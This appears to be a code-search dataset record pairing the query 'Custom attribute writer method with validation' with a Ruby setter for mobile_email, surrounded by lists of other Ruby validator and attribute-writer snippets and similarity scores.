\"niatelemetry.SyslogSysMsgFacFilter\", \"niatelemetry.SystemControllerDetails\", \"niatelemetry.Tenant\", \"notification.AccountSubscription\", \"ntp.Policy\", \"oprs.Deployment\", \"oprs.SyncTargetListMessage\", \"organization.Organization\", \"os.BulkInstallInfo\", \"os.Catalog\", \"os.ConfigurationFile\", \"os.Distribution\", \"os.Install\", \"os.OsSupport\", \"os.SupportedVersion\", \"os.TemplateFile\", \"os.ValidInstallTarget\", \"pci.CoprocessorCard\", \"pci.Device\", \"pci.Link\", \"pci.Switch\", \"port.Group\", \"port.MacBinding\", \"port.SubGroup\", \"power.ControlState\", \"power.Policy\", \"processor.Unit\", \"rack.UnitPersonality\", \"recommendation.CapacityRunway\", \"recommendation.PhysicalItem\", \"recovery.BackupConfigPolicy\", \"recovery.BackupProfile\", \"recovery.ConfigResult\", \"recovery.ConfigResultEntry\", \"recovery.OnDemandBackup\", \"recovery.Restore\", \"recovery.ScheduleConfigPolicy\", \"resource.Group\", \"resource.GroupMember\", \"resource.LicenseResourceCount\", \"resource.Membership\", \"resource.MembershipHolder\", \"resource.Reservation\", \"resourcepool.Lease\", \"resourcepool.LeaseResource\", \"resourcepool.Pool\", \"resourcepool.PoolMember\", \"resourcepool.Universe\", \"rproxy.ReverseProxy\", \"sdcard.Policy\", \"sdwan.Profile\", \"sdwan.RouterNode\", \"sdwan.RouterPolicy\", \"sdwan.VmanageAccountPolicy\", \"search.SearchItem\", \"search.TagItem\", \"security.Unit\", \"server.ConfigChangeDetail\", \"server.ConfigImport\", \"server.ConfigResult\", \"server.ConfigResultEntry\", \"server.Profile\", \"server.ProfileTemplate\", \"smtp.Policy\", \"snmp.Policy\", \"software.ApplianceDistributable\", \"software.DownloadHistory\", \"software.HclMeta\", \"software.HyperflexBundleDistributable\", \"software.HyperflexDistributable\", \"software.ReleaseMeta\", \"software.SolutionDistributable\", \"software.UcsdBundleDistributable\", \"software.UcsdDistributable\", \"softwarerepository.Authorization\", \"softwarerepository.CachedImage\", \"softwarerepository.Catalog\", \"softwarerepository.CategoryMapper\", \"softwarerepository.CategoryMapperModel\", \"softwarerepository.CategorySupportConstraint\", \"softwarerepository.DownloadSpec\", \"softwarerepository.OperatingSystemFile\", \"softwarerepository.Release\", \"sol.Policy\", \"ssh.Policy\", \"storage.Controller\", \"storage.DiskGroup\", \"storage.DiskSlot\", \"storage.DriveGroup\", \"storage.Enclosure\", \"storage.EnclosureDisk\", \"storage.EnclosureDiskSlotEp\", \"storage.FlexFlashController\", \"storage.FlexFlashControllerProps\", \"storage.FlexFlashPhysicalDrive\", \"storage.FlexFlashVirtualDrive\", \"storage.FlexUtilController\", \"storage.FlexUtilPhysicalDrive\", \"storage.FlexUtilVirtualDrive\", \"storage.HitachiArray\", \"storage.HitachiController\", \"storage.HitachiDisk\", \"storage.HitachiHost\", \"storage.HitachiHostLun\", \"storage.HitachiParityGroup\", \"storage.HitachiPool\", \"storage.HitachiPort\", \"storage.HitachiVolume\", \"storage.HyperFlexStorageContainer\", \"storage.HyperFlexVolume\", \"storage.Item\", \"storage.NetAppAggregate\", \"storage.NetAppBaseDisk\", \"storage.NetAppCluster\", \"storage.NetAppEthernetPort\", \"storage.NetAppExportPolicy\", \"storage.NetAppFcInterface\", \"storage.NetAppFcPort\", \"storage.NetAppInitiatorGroup\", \"storage.NetAppIpInterface\", \"storage.NetAppLicense\", \"storage.NetAppLun\", \"storage.NetAppLunMap\", \"storage.NetAppNode\", \"storage.NetAppNtpServer\", \"storage.NetAppSensor\", \"storage.NetAppStorageVm\", \"storage.NetAppVolume\", \"storage.NetAppVolumeSnapshot\", \"storage.PhysicalDisk\", \"storage.PhysicalDiskExtension\", \"storage.PhysicalDiskUsage\", \"storage.PureArray\", \"storage.PureController\", \"storage.PureDisk\", \"storage.PureHost\", \"storage.PureHostGroup\", \"storage.PureHostLun\", \"storage.PurePort\", \"storage.PureProtectionGroup\", \"storage.PureProtectionGroupSnapshot\", \"storage.PureReplicationSchedule\", \"storage.PureSnapshotSchedule\", \"storage.PureVolume\", \"storage.PureVolumeSnapshot\", \"storage.SasExpander\", \"storage.SasPort\", \"storage.Span\", \"storage.StoragePolicy\", \"storage.VdMemberEp\", \"storage.VirtualDrive\", \"storage.VirtualDriveContainer\", \"storage.VirtualDriveExtension\", \"storage.VirtualDriveIdentity\", \"syslog.Policy\", \"tam.AdvisoryCount\", \"tam.AdvisoryDefinition\", \"tam.AdvisoryInfo\", \"tam.AdvisoryInstance\", \"tam.SecurityAdvisory\", \"task.HitachiScopedInventory\", \"task.HxapScopedInventory\", \"task.NetAppScopedInventory\", \"task.PublicCloudScopedInventory\", \"task.PureScopedInventory\", \"task.ServerScopedInventory\", \"techsupportmanagement.CollectionControlPolicy\", \"techsupportmanagement.Download\", \"techsupportmanagement.TechSupportBundle\", \"techsupportmanagement.TechSupportStatus\", \"terminal.AuditLog\", \"terraform.Executor\", \"thermal.Policy\", \"top.System\", \"ucsd.BackupInfo\", \"uuidpool.Block\", \"uuidpool.Pool\", \"uuidpool.PoolMember\", \"uuidpool.Universe\", \"uuidpool.UuidLease\", \"virtualization.Host\", \"virtualization.VirtualDisk\", \"virtualization.VirtualMachine\", \"virtualization.VirtualNetwork\", \"virtualization.VmwareCluster\", \"virtualization.VmwareDatacenter\", \"virtualization.VmwareDatastore\", \"virtualization.VmwareDatastoreCluster\", \"virtualization.VmwareDistributedNetwork\", \"virtualization.VmwareDistributedSwitch\", \"virtualization.VmwareFolder\", \"virtualization.VmwareHost\", \"virtualization.VmwareKernelNetwork\", \"virtualization.VmwareNetwork\", \"virtualization.VmwarePhysicalNetworkInterface\", \"virtualization.VmwareUplinkPort\", \"virtualization.VmwareVcenter\", \"virtualization.VmwareVirtualDisk\", \"virtualization.VmwareVirtualMachine\", \"virtualization.VmwareVirtualMachineSnapshot\", \"virtualization.VmwareVirtualNetworkInterface\", \"virtualization.VmwareVirtualSwitch\", \"vmedia.Policy\", \"vmrc.Console\", \"vnc.Console\", \"vnic.EthAdapterPolicy\", \"vnic.EthIf\", \"vnic.EthNetworkPolicy\", \"vnic.EthQosPolicy\", \"vnic.FcAdapterPolicy\", \"vnic.FcIf\", \"vnic.FcNetworkPolicy\", \"vnic.FcQosPolicy\", \"vnic.IscsiAdapterPolicy\", \"vnic.IscsiBootPolicy\", \"vnic.IscsiStaticTargetPolicy\", \"vnic.LanConnectivityPolicy\", \"vnic.LcpStatus\", \"vnic.SanConnectivityPolicy\", \"vnic.ScpStatus\", \"vrf.Vrf\", \"workflow.BatchApiExecutor\", \"workflow.BuildTaskMeta\", \"workflow.BuildTaskMetaOwner\", \"workflow.Catalog\", \"workflow.CustomDataTypeDefinition\", \"workflow.ErrorResponseHandler\", \"workflow.PendingDynamicWorkflowInfo\", \"workflow.RollbackWorkflow\", \"workflow.SolutionActionDefinition\", \"workflow.SolutionActionInstance\", \"workflow.SolutionDefinition\", \"workflow.SolutionInstance\", \"workflow.SolutionOutput\", \"workflow.TaskDebugLog\", \"workflow.TaskDefinition\", \"workflow.TaskInfo\", \"workflow.TaskMetadata\", \"workflow.TaskNotification\", \"workflow.TemplateEvaluation\", \"workflow.TemplateFunctionMeta\", \"workflow.WorkflowDefinition\", \"workflow.WorkflowInfo\", \"workflow.WorkflowMeta\", \"workflow.WorkflowMetadata\", \"workflow.WorkflowNotification\"])\n unless validator.valid?(class_id)\n fail ArgumentError, \"invalid value for \\\"class_id\\\", must be one of #{validator.allowable_values}.\"\n end\n @class_id = class_id\n end",
"def assert_white_list_setter(clazz, attr, value, whitelist_clazz)\n instance = clazz.new(attr => value)\n assert_kind_of whitelist_clazz, instance.send(attr)\n assert_equal value, instance.send(attr).value\n end",
"def allow_value_matcher; end",
"def raise_invalid(value)\n if value.is_a?(Numeric)\n raise EnumError, \"#{value.inspect} is out of bounds of #{self.class.name}\"\n else\n raise EnumError, \"#{value.inspect} is not valid for #{self.class.name}\"\n end\n end",
"def valid_parameter_for_conditional_formatting\n [\n :type,\n :format,\n :criteria,\n :value,\n :minimum,\n :maximum,\n :min_type,\n :mid_type,\n :max_type,\n :min_value,\n :mid_value,\n :max_value,\n :min_color,\n :mid_color,\n :max_color,\n :bar_color\n ]\n end",
"def valid_parameter_for_conditional_formatting\n %i[\n type\n format\n criteria\n value\n minimum\n maximum\n stop_if_true\n min_type\n mid_type\n max_type\n min_value\n mid_value\n max_value\n min_color\n mid_color\n max_color\n bar_color\n bar_negative_color\n bar_negative_color_same\n bar_solid\n bar_border_color\n bar_negative_border_color\n bar_negative_border_color_same\n bar_no_border\n bar_direction\n bar_axis_position\n bar_axis_color\n bar_only\n icon_style\n reverse_icons\n icons_only\n icons\n data_bar_2010\n ]\n end",
"def oil_types=(vals = [])\n if vals.is_a?(Array)\n OilTypes.collect {|t| t[1]}.each do |type|\n if vals.member?(type)\n send(type+\"=\",true)\n else\n send(type+\"=\",false)\n end\n end\n end\n end",
"def validate_enum_name(name)\n name.gsub(/[-\\s]/, \"_\").sub(/^\\d/, '_\\0')\n end",
"def sr_iov=(sr_iov)\n validator = EnumAttributeValidator.new('String', [\"platform-default\", \"enabled\", \"disabled\"])\n unless validator.valid?(sr_iov)\n fail ArgumentError, \"invalid value for \\\"sr_iov\\\", must be one of #{validator.allowable_values}.\"\n end\n @sr_iov = sr_iov\n end",
"def appearance=(appearance)\n validator = EnumAttributeValidator.new('String', [\"Default\", \"BoundingBox\", \"Tags\", \"Hidden\"])\n if appearance.to_i == 0\n unless validator.valid?(appearance)\n raise ArgumentError, \"invalid value for 'appearance', must be one of #{validator.allowable_values}.\"\n end\n @appearance = appearance\n else\n @appearance = validator.allowable_values[appearance.to_i]\n end\n end",
"def validate_entities!(enum)\n unless enum.respond_to?(:each)\n raise Errors::InternalError, 'Validation cannot be performed on non-enumerable objects'\n end\n enum.each(&:valid!)\n enum\n rescue ::Occi::Core::Errors::MandatoryArgumentError, ::Occi::Core::Errors::ValidationError => ex\n logger.error \"Validation failed: #{ex.class} #{ex.message}\"\n raise Errors::ValidationError, ex.message\n end",
"def attr_bool_writer *symbols\n attr_writer *symbols\n end",
"def valid?\n frequency_validator = EnumAttributeValidator.new('String', [\"daily\", \"weekly\", \"monthly\", \"quarterly\", \"yearly\"])\n return false unless frequency_validator.valid?(@frequency)\n return true\n end",
"def valid_attributes\n {\n name: \"Unlimited\",\n award_title_name: \"10k Unlimited\",\n scoring_class: \"Freestyle\"\n }\n end",
"def should_allow_values(options)\n klass = self.name.gsub(/Test$/, '').constantize\n\n context \"#{klass}\" do\n options.each_pair do |attribute, values|\n [*values].each do |value|\n display_value = value.class == NilClass ? \"nil\" : \"\\\"#{value}\\\"\"\n \n should \"allow #{attribute} to be #{display_value}\" do\n instance = get_instance_of(klass)\n instance.send(\"#{attribute}=\", value)\n assert_nil instance.errors.on(attribute), \n \"Expected no errors when #{attribute} is set to #{display_value}, \n instead found error \\\"#{instance.errors.on(attribute)}\\\".\"\n end\n end\n end\n end\n end",
"def serialize(writer)\n raise StandardError, 'writer cannot be null' if writer.nil?\n super\n writer.write_number_value(\"offsetInDays\", @offset_in_days)\n writer.write_enum_value(\"timeBasedAttribute\", @time_based_attribute)\n end",
"def gr_append_check? obj\n return false if obj.class!=self.class\n return false if !respond_to(\"each\")\n myEnum=to_enum\n objEnum=obj.to_enum\n while true\n begin\n myEle=myEnum.next\n rescue\n return true\n end\n begin\n objEle=objEnum.next\n rescue\n return false\n end\n return false if myEle!=objEle\n end\n return true\n end",
"def validate( value )\n raise ReadOnlyException.new(self) unless settable?\n @definition.type.validate(value)\n end",
"def valid?\n only_display_validator = EnumAttributeValidator.new('String', [\"DoNotDisplay\", \"Closed30Days\", \"Closed60Days\", \"Closed90Days\", \"Closed120Days\", \"AllClosed\"])\n return false unless only_display_validator.valid?(@only_display)\n return true\n end",
"def patrol_scrub=(patrol_scrub)\n validator = EnumAttributeValidator.new('String', [\"platform-default\", \"disabled\", \"Enable at End of POST\", \"enabled\"])\n unless validator.valid?(patrol_scrub)\n fail ArgumentError, \"invalid value for \\\"patrol_scrub\\\", must be one of #{validator.allowable_values}.\"\n end\n @patrol_scrub = patrol_scrub\n end",
"def _class=(_class)\n validator = EnumAttributeValidator.new('String', [\"Other\", \"Absolute\", \"Possessory\", \"Qualified\", \"Good\"])\n unless validator.valid?(_class)\n fail ArgumentError, \"invalid value for '_class', must be one of #{validator.allowable_values}.\"\n end\n @_class = _class\n end",
"def valid?\n return false if !super\n quartile_method_validator = EnumAttributeValidator.new('String', ['Exclusive', 'Inclusive'])\n return false unless quartile_method_validator.valid?(@quartile_method)\n true\n end"
] | [
"0.7088127",
"0.64820594",
"0.6429773",
"0.6227689",
"0.61418885",
"0.5809922",
"0.57507086",
"0.5743216",
"0.5736045",
"0.5708027",
"0.57014966",
"0.56777334",
"0.5601988",
"0.55947953",
"0.55464065",
"0.55371004",
"0.55344343",
"0.5528221",
"0.5434983",
"0.54312384",
"0.5418137",
"0.5379602",
"0.53794384",
"0.53794384",
"0.53653747",
"0.53513694",
"0.53364015",
"0.5330548",
"0.5324624",
"0.53222466",
"0.5307476",
"0.53004855",
"0.52841866",
"0.52784383",
"0.52683413",
"0.5265264",
"0.525289",
"0.52094126",
"0.5189669",
"0.5185224",
"0.51700306",
"0.5146029",
"0.51444733",
"0.51369494",
"0.5134045",
"0.5133414",
"0.5130944",
"0.51203525",
"0.5117331",
"0.5108703",
"0.5108653",
"0.5106191",
"0.50937504",
"0.50937504",
"0.50840217",
"0.5082524",
"0.5074987",
"0.50655115",
"0.5064211",
"0.505987",
"0.50555235",
"0.50513357",
"0.5044483",
"0.5041556",
"0.5036054",
"0.5031193",
"0.5023556",
"0.5019361",
"0.49934402",
"0.4989093",
"0.49836317",
"0.49754748",
"0.49738207",
"0.49702868",
"0.49647367",
"0.49602023",
"0.4959052",
"0.49577102",
"0.49549797",
"0.49535498",
"0.49489576",
"0.49489233",
"0.4943718",
"0.494183",
"0.494042",
"0.4935984",
"0.49353147",
"0.4934332",
"0.49269903",
"0.49202663",
"0.49195725",
"0.49171844",
"0.49135497",
"0.49132174",
"0.4910008",
"0.49098906",
"0.49096495",
"0.49090025",
"0.49080157",
"0.49024847",
"0.49014568"
] | 0.0 | -1 |
Custom attribute writer method with validation | def mobile_email=(mobile_email)
if !mobile_email.nil? && mobile_email.to_s.length > 250
fail ArgumentError, "invalid value for 'mobile_email', the character length must be smaller than or equal to 250."
end
@mobile_email = mobile_email
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def attr_writer_tag(text); end",
"def allowed_attributes=(_arg0); end",
"def allowed_attributes=(_arg0); end",
"def writer(*args)\n attr_writer(*args)\n args\n end",
"def define_write_method(attr_name)\n evaluate_attribute_method attr_name, \"def #{attr_name}=(new_value);write_attribute('#{attr_name}', new_value);end\", \"#{attr_name}=\"\n end",
"def attr_writer(*vars)\n # avoid tracking attributes that are added by the class_attribute\n # as these are class attributes and not instance attributes.\n tracked_vars = vars.reject {|var| respond_to? var }\n add_tracked_attrs(false, true, *tracked_vars)\n vars.extract_options!\n super\n end",
"def attr_writer(sym, *more) end",
"def is_attribute?; end",
"def validate_exclusion_of(attr); end",
"def register_attributes\n raise \"Not implemented in #{self.class}\"\n end",
"def method_missing(method_name, *args)\n return super unless permitted_attributes.include?(method_name)\n begin\n object.send(:\"#{method_name}=\", args.first)\n rescue => e\n if params.has_key?(method_name)\n message = \"Unable to process value for :#{method_name}, no attribute writer. Be sure to override the automatic setters for all params that do not map straight to a model attribute.\"\n Rails.logger.warn({message: message,\n missing_writer: method_name,\n value: args.first,\n error: e})\n self.errors << {status: 422, message: message}\n else\n raise e\n end\n end\n end",
"def timeliness_validation_for(attr_names, type)\n super\n attr_names.each { |attr_name| define_timeliness_write_method(attr_name) }\n end",
"def create_setter_for(attribute, options)\n setter_method = \"#{attribute}=\"\n\n define_method setter_method do |value|\n if options[:allow_blank] || value != \"\"\n write_attribute(attribute, value)\n end\n end\n end",
"def attr_internal_writer(*attrs)\n attrs.each {|attr_name| attr_internal_define(attr_name, :writer)}\n end",
"def escape_attr input\n escape input, attr_regexp, attr_mapping\n end",
"def make_writer( attrtype )\n\t\tself.log.debug \"Generating an attribute writer for %p\" % [ attrtype ]\n\t\tattrname = attrtype.name\n\t\tif attrtype.single?\n\t\t\tself.log.debug \" attribute is SINGLE, so generating a scalar writer...\"\n\t\t\treturn lambda {|newvalue| self[attrname] = newvalue }\n\t\telse\n\t\t\tself.log.debug \" attribute isn't SINGLE, so generating an array writer...\"\n\t\t\treturn lambda {|*newvalues| self[attrname] = newvalues.flatten }\n\t\tend\n\tend",
"def write_attribute(name, value)\n # Simply check if the accessor is allowed to write the field\n # (if so, go to superclass and do it)\n @bypass_auth ||= false\n if allowed_to_write(name) || @bypass_auth\n super(name, value)\n end\n end",
"def mattr_writer(*syms, &proc)\n receiver = self\n options = syms.extract_options!\n syms.each do |sym|\n raise NameError.new('invalid attribute name') unless sym =~ /^[_A-Za-z]\\w*$/\n class_exec do\n define_singleton_method \"#{sym}=\" do |obj|\n class_variable_set(\"@@#{sym}\", obj)\n end\n end\n\n unless options[:instance_writer] == false || options[:instance_accessor] == false\n class_exec do\n define_method \"#{sym}=\" do |obj|\n receiver.class_variable_set(\"@@#{sym}\", obj)\n end\n end\n end\n send(\"#{sym}=\", proc.call) if proc\n end\n end",
"def write_attribute(attribute, value)\n false\n end",
"def add_attribute attribute\n return attribute unless @document_self\n\n # mainly to check for redefinition of an attribute as a method\n # TODO find a policy for 'attr_reader :foo' + 'def foo=()'\n register = false\n\n key = nil\n\n if attribute.rw.index 'R' then\n key = attribute.pretty_name\n known = @methods_hash[key]\n\n if known then\n known.comment = attribute.comment if known.comment.empty?\n elsif registered = @methods_hash[attribute.pretty_name + '='] and\n RDoc::Attr === registered then\n registered.rw = 'RW'\n else\n @methods_hash[key] = attribute\n register = true\n end\n end\n\n if attribute.rw.index 'W' then\n key = attribute.pretty_name + '='\n known = @methods_hash[key]\n\n if known then\n known.comment = attribute.comment if known.comment.empty?\n elsif registered = @methods_hash[attribute.pretty_name] and\n RDoc::Attr === registered then\n registered.rw = 'RW'\n else\n @methods_hash[key] = attribute\n register = true\n end\n end\n\n if register then\n attribute.visibility = @visibility\n add_to @attributes, attribute\n resolve_aliases attribute\n end\n\n attribute\n end",
"def define_writer_method(mod)\n writer_method_name = \"#{name}=\"\n attribute = self\n\n mod.send(:define_method, writer_method_name) { |value| attribute.set(self, value) }\n mod.send(writer_visibility, writer_method_name)\n\n self\n end",
"def allowed_to_write(name)\n # no point allowing attribute writes if we can't save them?\n if allowed_to_save\n name = name.to_s\n validation_methods = self.class.write_validations(name) \n if validation_methods.nil?\n # We haven't registered any filters on this attribute, so allow the write.\n true\n elsif validation_methods.check :accessor => accessor, :model => self\n # One of the authentication methods worked, so allow the write.\n true\n else\n # We had filters but none of them passed. Disallow write.\n false\n end\n else\n false\n end\n end",
"def assert_attr_writer(obj, method)\n assert_respond_to obj, \"#{method}=\"\nend",
"def add_attribute(name, &block); end",
"def authenticates_writes_to(attr, options={})\n authenticates_access\n @write_validation_map ||= {}\n @write_validation_map[attr.to_s] ||= AuthMethodList.new\n @write_validation_map[attr.to_s].add_method(options)\n end",
"def write_attribute_3(param1, param2)\n\twrite_attribute(param1, param2)\n end",
"def write_attribute(attr_name, value) #:doc:\n @attributes[attr_name] = empty_string_for_number_column?(attr_name, value) ? nil : value\n end",
"def add_writer_tags(klass, new_method, member)\n member_tag = member_tag_for_member(klass, member, :write)\n return_type = return_type_from_tag(member_tag)\n setter_doc_text = member_tag ? member_tag.text : \"Sets the attribute #{member}\"\n new_method.docstring.replace(setter_doc_text)\n new_method.add_tag YARD::Tags::Tag.new(:param, \"the value to set the attribute #{member} to.\", return_type, \"value\")\n new_method.add_tag YARD::Tags::Tag.new(:return, \"the newly set value\", return_type)\n end",
"def print_attribute(*) end",
"def attribute(name); end",
"def add_checked_attribute(clazz, attribute)\r\n eval <<END\r\n class #{clazz}\r\n\r\n def #{attribute}=(value)\r\n raise 'Invalid attribute' unless value\r\n @#{attribute}=value\r\n end\r\n\r\n def #{attribute}\r\n #{attribute}\r\n end\r\n end\r\nEND\r\nend",
"def attr(name); end",
"def is_attribute?(line)\n (line =~ /(\\s+)attr_(writer|reader|accessor)\\s+:[a-zA-Z_0-9]+/) == 0\n end",
"def attribute(name, value)\n\t if !@inStartTag\n\t\traise WriterError.new('attribute outside of tag start')\n\t end\n\t @io << \" #{name}=\\\"#{NQXML.encode(value.to_s)}\\\"\"\n\tend",
"def set_attribute(name, value); end",
"def dataset_writer(*attributes)\n attributes.flatten.each do |attr_name|\n next if method_defined?(\"#{attr_name}=\")\n\n class_eval <<-RUBY, __FILE__, __LINE__ + 1\n def #{attr_name}=(value)\n dataset_set(:#{attr_name}, value)\n end\n RUBY\n end\n end",
"def validated_attribute_names(params); end",
"def require_format_of(attribute)\r\n RequireFormatOf.new(attribute)\r\n end",
"def attr_writer(*fields)\n check_fields(fields)\n added_fields = jiak.data.writable(*fields)\n added_fields.each do |field|\n class_eval <<-EOM\n def #{field}=(val)\n @jiak.object.data.#{field} = val\n self.class.do_auto_update(self)\n end\n EOM\n end\n nil\n end",
"def html_attr(*attrs)\n options = attrs.extract_options!.reverse_merge({\n :level => :super_relaxed\n })\n attrs.each do |att|\n class_eval \"def #{att}=(val); self[:#{att}] = sanitize(val, :#{options[:level]}); end\"\n end\n end",
"def validate_attributes=(new_attribute)\n @validate_attributes = new_attribute\n end",
"def html_attributes(attr); end",
"def instance_write(attr, value)\n setter = :\"#{@name_string}_#{attr}=\"\n instance.send(setter, value) if instance.respond_to?(setter)\n end",
"def valid_xml_attribute(name, options={:level => :warning})\n\t\t\t\tvalidate(\"Invalid XML attribute '#{name}'\", options) { name.to_s.match(/^([^[:punct:]0-9<>]|_)[^<>\"']*/) }\n\t\t\tend",
"def attr_writer(*args)\n sym_args=args_to_sym(args)\n sym_args.each do |value|\n self.instance_eval(\"def #{value}=(arg); @#{value}=arg;end;\")\n end\n \n end",
"def define_writer_method(attribute, method_name, visibility)\n define_method(method_name) { |value| attribute.set(self, value) }\n send(visibility, method_name)\n self\n end",
"def write_attribute(name, val)\n if @embedded_models.include? name\n @embedded_models[name].model = val\n elsif @attribute_objects.include? name\n @attribute_objects[name].value = val\n else\n return false\n end\n\n run_callbacks :attribute_change\n end",
"def valid_attributes\n { \"name\" => \"MyString\" }\n end",
"def valid_attributes\n { \"name\" => \"MyString\" }\n end",
"def valid_attributes\n { body: \"blah\",\n rule_text: 'Something',\n change_description: \"blaa\"}\n end",
"def valid_attributes\n { body: \"blah\",\n rule_text: 'Something',\n change_description: \"blaa\"}\n end",
"def attr; end",
"def attribute(*args)\n define_expressions(Attribute, args)\n end",
"def write_attribute(name, value)\n name = name.to_s\n\n # The attribute already has an unsaved change.\n if attribute_changed?(name)\n old = changed_attributes[name]\n changed_attributes.delete(name) unless field_changed?(name, old, value)\n else\n attribute_will_change(name) if field_changed?(name, old, value)\n end\n\n # Carry on.\n super(name, value)\n end",
"def define_magic_attr(name)\n define_method name do |*attrs|\n raise ArgumentError.new(\"wrong number of arguments\") if attrs.size > 1\n send(\"#{name}=\", attrs.first) if attrs.size == 1\n instance_variable_get(\"@#{name}\")\n end\n\n attr_writer name\n end",
"def configurable_writer(attribute, code=nil, &block)\n if block_given? and not code\n Halcyon.class.send(:define_method, :\"#{attribute}=\", block)\n elsif code and not block_given?\n Halcyon.class.send(:eval, <<-\"end;\")\n def #{attribute.to_s}=(value)\n #{code % [attribute.to_sym.inspect]}\n end\n end;\n else\n raise ArgumentError.new(\"Either a block or a code string should be supplied.\")\n end\n end",
"def method_missing(name, *args, &block)\n if /\\Ahas_validated_(?<type>\\w*)_attribute\\Z/ =~ name\n has_validated_attribute(type, *args, &block)\n else\n super\n end\n end",
"def add_checked_attribute(klass, attribute)\n klass.class_eval do\n define_method attribute do\n instance_variable_get(\"@#{attribute}\")\n end\n\n define_method \"#{attribute}=\" do |value|\n raise 'Invalid attribute' unless value\n \n instance_variable_set(\"@#{attribute}\", value)\n end\n end\nend",
"def method_missing(meth, *args, &blk)\n match = meth.to_s.match(/^([a-zA-Z\\_]+)(=|$)$/)\n if match\n attribute, setter = match[1], !match[2].blank?\n if setter\n write_attribute(attribute, args.first)\n else\n read_attribute(attribute)\n end\n else\n super(meth, *args, &blk)\n end\n end",
"def valid_attributes\n { name: 'do this' }\n end",
"def make_attributes_definitions_or_croak(attrArgs, &attrBlok)\n eye = :'m_attrs_defs'\n\n # Work with attribute as strings\n \n $DEBUG && logger_me(eye, logger_fmt_kls(:attrArgs => attrArgs, :attrBlok => attrBlok))\n\n mustbe_attributes_specification_or_croak(attrArgs, eye, \"attrArgs not attributes_specification\")\n \n #STOPATTRARGSINSUPER\n \n #attrAll = mustbe_not_empty_or_croak(mustbe_array_key_or_nil_or_croak(attrArgs, :all, eye, \"all attributes not array\"), eye, \"all attributes is empty\").map(&:to_s)\n attrAll = mustbe_not_empty_or_croak(mustbe_attributes_specification_all_key_or_croak(attrArgs, :all, eye), eye, \"all attributes is empty\").map(&:to_s)\n \n\n #puts(\"\\n\\n\\nATTR ALL >#{attrAll}<\")\n\n #STOPMAKEATTRSPECSENTRY\n\n attrInc = mustbe_attributes_specification_include_key_or_nil_or_croak(attrArgs, :include, eye) # mustbe all strings\n #puts(\"ATTR INC >#{attrInc.class}< >#{attrInc}< >#{is_value_not_empty?(attrInc)}<\")\n attrInc && mustbe_not_empty_or_croak(attrInc, eye, \"include attributes is empty\")\n\n attrExc = mustbe_attributes_specification_exclude_key_or_nil_or_croak(attrArgs, :exclude, eye) || []\n \n attrMapNom = mustbe_attributes_definitions_key_or_nil_or_croak(attrArgs, :definitions, eye) || {}\n attrMap = attrMapNom && potrubi_util_map_hash_kv(attrMapNom) {|k,v| [k.to_s, v]} # keys all strings\n\n # Ensure all consistent\n \n attrInc && mustbe_subset_or_croak(attrInc, attrAll, eye, \"include attributes contains unknown attributes\")\n mustbe_subset_or_croak(attrExc, attrAll, eye, \"exclude attributes contains unknown attributes\")\n mustbe_subset_or_croak(attrMap.keys, attrAll, eye, \"attribute map contains unknown attributes\")\n \n attrUse = ((attrInc || attrAll) - attrExc).uniq # list of unique attributes to report on\n\n # consolidate \"faked up\" attr specs with ones provided to get the composite attrSpecs\n \n attrDefsNom = potrubi_util_array_to_hash(attrUse).merge(attrMap.select {|k,v| attrUse.include?(k)}) # consolidated \"faked up\" attr specs with ones provided\n\n attrDefs = potrubi_util_map_hash_v(attrDefsNom) do | attrName, attrSpecNom|\n\n attrSpec =\n case attrSpecNom\n when NilClass then {}\n when Hash then\n attrSpecNom.each_with_object({}) do | (verbName, verbSpec), h1 |\n case verbName\n when :pass_thru then h1[:pass_thru] = verbSpec # dont touch; just pass through\n when :event_defaults then # add these to pass_thru\n h1[:pass_thru] = (h1[:pass_thru] || {}).merge(verbName => verbSpec)\n when :map, :select, :metric then\n h1[verbName] = {\n :method_name => \"#{verbName}_#{attrName}_#{rand(1000000)}\", # make a unqiue name\n :method_spec => verbSpec # spec must be valid to dynamic_define_methods\n }\n else\n logic_exception(verbName, eye, \"attrName >#{attrName}< verbName >#{verbName}< value should be impossible\")\n end\n end\n \n else\n logic_exception(attrrSpecNom, eye, \"attrSpecNom value should be impossible\")\n end\n\n attrSpec\n \n end\n \n $DEBUG && logger_mx(eye, logger_fmt_kls(:attrDefs => attrDefs))\n\n mustbe_attributes_definitions_or_croak(attrDefs, eye, \"attrDefs failed contract\")\n\n #STOPMAKEATTRSPECS\n \n end",
"def create_writer(klass, member)\n # We want to convert these members into attributes just like\n # as if they were declared using attr_accessor.\n new_meth = register MethodObject.new(klass, \"#{member}=\", :instance) do |o|\n o.parameters = [['value', nil]]\n o.signature ||= \"def #{member}=(value)\"\n o.source ||= \"#{o.signature}\\n @#{member} = value\\nend\"\n end\n add_writer_tags(klass, new_meth, member)\n klass.attributes[:instance][member][:write] = new_meth\n end",
"def create_setter!\n @target.class_eval <<-EOS\n #{writer_visibility.to_s}\n def #{name}=(value)\n attribute_set(#{name.inspect}, value)\n end\n EOS\n rescue SyntaxError\n raise SyntaxError.new(column)\n end",
"def attribute name, type, conditions= DEFAULT_ATTRIBUTE_CONDITIONS\n RMOF.complete_conditions conditions, DEFAULT_ATTRIBUTE_CONDITIONS\n @attributes= {} unless instance_variable_defined? :@attributes\n @attributes[name]= [name, type, conditions]\n unless method_defined? :__attributes then \n define_method( :__attributes) do \n @attributes\n end \n end\n at= \"@#{name}\".to_sym\n getter= \"#{name}\".to_sym\n setter= \"#{name}=\".to_sym\n completion= \"__complete_#{name}\".to_sym\n define_method( getter) do\n if instance_variable_defined? at then instance_variable_get at\n else conditions[:default]\n end\n end\n define_method( setter) do |val|\n instance_variable_set at, val\n end\n define_method( completion) do\n RMOF.validate( self.send(getter), name, type, conditions)\n end\n end",
"def attr_internal_writer(*attrs)\n attrs.each do |attr|\n module_eval \"def #{attr}=(v) #{attr_internal_ivar_name(attr)} = v end\"\n end\n end",
"def attr_internal_writer(*attrs)\n attrs.each do |attr|\n module_eval \"def #{attr}=(v) #{attr_internal_ivar_name(attr)} = v end\"\n end\n end",
"def create_setter(name, meth)\n define_method(\"#{meth}=\") do |value|\n write_attribute(name, value)\n end\n end",
"def sanitized_allowed_attributes=(attributes); end",
"def sanitized_allowed_attributes=(attributes); end",
"def oattr(name, type)\n case type\n when :custom\n # Do nothing, just register attr below.\n when :writer\n attr_writer name\n else\n raise ArgumentError, \"Unknown type: #{type.inspect}\"\n end\n\n # Register and return.\n name.tap { oattrs << name}\n end",
"def valid_attributes\n { name: \"Expert\" }\n end",
